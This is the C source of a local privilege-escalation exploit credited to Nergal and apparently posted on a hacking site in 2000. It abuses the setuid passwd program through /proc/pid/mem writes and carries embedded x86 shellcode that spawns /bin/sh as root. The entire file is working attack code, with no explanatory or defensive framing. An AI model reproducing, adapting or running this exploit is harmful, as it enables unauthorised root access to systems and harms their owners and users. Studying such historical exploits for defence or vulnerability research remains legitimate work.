/* by Nergal */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>

char            shellcode[] =
  "\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
  "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";

#define PASSWD "./passwd"
void
sg(int x)
{}

int
main(int argc, char **argv)
{
  unsigned int stack, shaddr;
  int             pid,schild;
  int             fd;
  char            buff[40];
  unsigned int    status;
  char            *ptr;
  char            name[4096];
  char 		sc[4096];
  char            signature[] = "signature";

  signal(SIGUSR1, sg);
  if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
    {
      perror("creating symlink:");
      exit(1);
    }
  shaddr=(unsigned int)&shaddr;
  stack=shaddr-2048;
  if (argc>1)
    shaddr+=atoi(argv[1]);
  if (argc>2)
    stack+=atoi(argv[2]);
  fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
  fprintf(stderr,"Wait for \"Press return\" prompt:\n");
  memset(sc, 0x90, sizeof(sc));
  strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
  strncpy(sc,"EGG=",4);
  memset(name,'x',sizeof(name));
  for (ptr = name; ptr < name + sizeof(name); ptr += 4)
    *(unsigned int *) ptr = shaddr;
  name[sizeof(name) - 1] = 0;

  pid = fork();
  switch (pid)
    {
    case -1:
      perror("fork");
      exit(1);
    case 0:
      pid = getppid();
      sprintf(buff, "/proc/%d/mem", pid);
      fd = open(buff, O_RDWR);
      if (fd < 0)
        {
          perror("open procmem");
          wait(NULL);
          exit(1);
        }
      /* wait for child to execute suid program */
      kill(pid, SIGUSR1);
      do
        {
          lseek(fd, (unsigned int) signature, SEEK_SET);
        }
      while
      (read(fd, buff, sizeof(signature)) == sizeof(signature) &&
          !strncmp(buff, signature, sizeof(signature)));
      lseek(fd, stack, SEEK_SET);
      switch (schild = fork())
        {
        case -1:
          perror("fork2");
          exit(1);
        case 0:

          dup2(fd, 2);
          sleep(2);
          execl(PASSWD, name, "blahblah", 0);
          printf("execl failed\n");
          exit(1);
        default:
          waitpid(schild, &status, 0);
        }
      fprintf(stderr, "\nPress return.\n");
      exit(1);
    default:
      /* give parent time to open /proc/pid/mem */
      pause();
      putenv(sc);
      execl(PASSWD, "passwd", NULL);
      perror("execl");
      exit(0);

    }
}
/*                    www.hack.co.za                  [23 Feb 2000]*/